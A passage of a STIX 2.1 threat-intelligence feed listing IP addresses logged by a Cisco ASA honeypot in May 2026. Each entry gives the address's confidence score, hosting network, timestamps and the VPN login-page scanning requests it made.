      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.198.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T09:32:15.423Z",
          "last_seen": "2026-05-27T09:32:32.481Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--2801727d-2f71-409d-9646-e608f4d81c16",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-27T10:13:35.535Z",
          "last_seen": "2026-05-27T10:13:38.537Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e7f15fb6-bc0f-40f8-bfad-7c326a8d602f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.1.46.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T09:32:46.151Z",
          "last_seen": "2026-05-29T18:44:54.587Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--bbea3de4-729a-4372-9458-c0d82f5c7ead",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.104.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:20:10.000Z",
      "valid_until": "2026-06-28T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T10:57:28.209Z",
          "last_seen": "2026-05-27T10:57:40.790Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--c8556880-828f-401c-9948-dd4490033dee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.137.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:20:10.000Z",
      "valid_until": "2026-06-28T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T11:18:17.154Z",
          "last_seen": "2026-05-29T06:32:18.188Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--842eac4f-21d8-4c04-9af4-a6f8fa8e7e03",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.196.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:20:10.000Z",
      "valid_until": "2026-06-28T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T10:27:16.132Z",
          "last_seen": "2026-05-27T10:27:32.432Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--194fcf79-9b65-49dd-9f69-91dbfb607374",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.248.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:20:10.000Z",
      "valid_until": "2026-06-28T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T11:05:08.510Z",
          "last_seen": "2026-05-29T07:27:12.220Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bf4ca855-b574-4035-9127-823c25cb7043",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:20:10.000Z",
      "valid_until": "2026-06-28T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-27T11:12:37.820Z",
          "last_seen": "2026-05-30T10:48:16.638Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--44238597-73b5-4ed0-aa68-6a69966e9e60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.87.124.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:20:10.000Z",
      "valid_until": "2026-06-28T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T10:52:01.859Z",
          "last_seen": "2026-05-28T01:15:06.699Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--ef813c5b-8d47-425e-8592-5e425d128c27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:20:10.000Z",
      "valid_until": "2026-06-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-27T11:59:54.007Z",
          "last_seen": "2026-05-30T12:33:51.688Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--84f1b690-8b61-4501-b4aa-921433e880b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.229.245.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:20:10.000Z",
      "valid_until": "2026-06-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T11:54:58.789Z",
          "last_seen": "2026-05-31T05:20:17.580Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--99d4a2d8-8233-4ffb-b6d2-433e559f3501",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.177.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:20:10.000Z",
      "valid_until": "2026-06-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-27T12:06:07.641Z",
          "last_seen": "2026-05-29T22:14:43.963Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--585624bc-0f7c-4b92-b2a3-297d81da8a9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.21.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:20:10.000Z",
      "valid_until": "2026-06-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T11:47:42.637Z",
          "last_seen": "2026-05-31T02:00:23.940Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9cf7520b-a429-4c48-b382-f3679cee10f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.17.42.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:20:10.000Z",
      "valid_until": "2026-06-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T11:26:40.717Z",
          "last_seen": "2026-05-27T20:27:25.654Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4ce7f232-8e1c-4585-b611-082826e84ffc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:20:10.000Z",
      "valid_until": "2026-06-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-27T12:06:17.114Z",
          "last_seen": "2026-05-27T12:06:24.148Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d900b802-2222-474e-a0c3-f1f5fc3b3e9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.126.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:20:10.000Z",
      "valid_until": "2026-06-28T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T12:27:02.628Z",
          "last_seen": "2026-05-31T04:00:06.910Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1b915752-6c52-4a74-941f-0ce06c2e8979",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.156.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:20:10.000Z",
      "valid_until": "2026-06-28T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T13:01:43.511Z",
          "last_seen": "2026-05-27T13:01:55.969Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--155675c7-ca6b-46cd-8179-3cbc67268f40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.41.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:20:10.000Z",
      "valid_until": "2026-06-28T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T13:01:17.784Z",
          "last_seen": "2026-05-29T06:12:41.464Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--26958bd0-9b75-436c-9ace-439b42ea9612",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.160.218.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:20:10.000Z",
      "valid_until": "2026-06-28T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T12:53:30.956Z",
          "last_seen": "2026-05-27T21:57:15.332Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--78238c89-ec0b-4cb1-ad07-641053424b09",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.132.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:20:10.000Z",
      "valid_until": "2026-06-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T02:49:54.786Z",
          "last_seen": "2026-05-29T17:30:15.719Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
